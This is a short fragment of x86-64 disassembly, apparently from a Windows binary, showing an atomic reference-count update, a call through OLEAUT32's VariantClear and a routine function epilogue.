lock xadd dword [rdx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14001a71b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, rdi
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret